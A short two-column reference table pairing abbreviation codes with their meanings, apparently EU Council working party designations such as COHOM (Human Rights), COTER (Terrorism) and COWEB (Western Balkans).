COEUR	European Council	COSEC	Security
COHOM	Human Rights	COSEE	South East Europe
COHUM	Humanitarian Questions	COTEL	Telecommunications
COJUR	Public International Law	COTER	Terrorism
COLAC	Latin America	COTRA	Transatlantic Relations
COMAG	Mashrek/Maghreb	COWEB	Western Balkans
COMAR	Law of the Sea		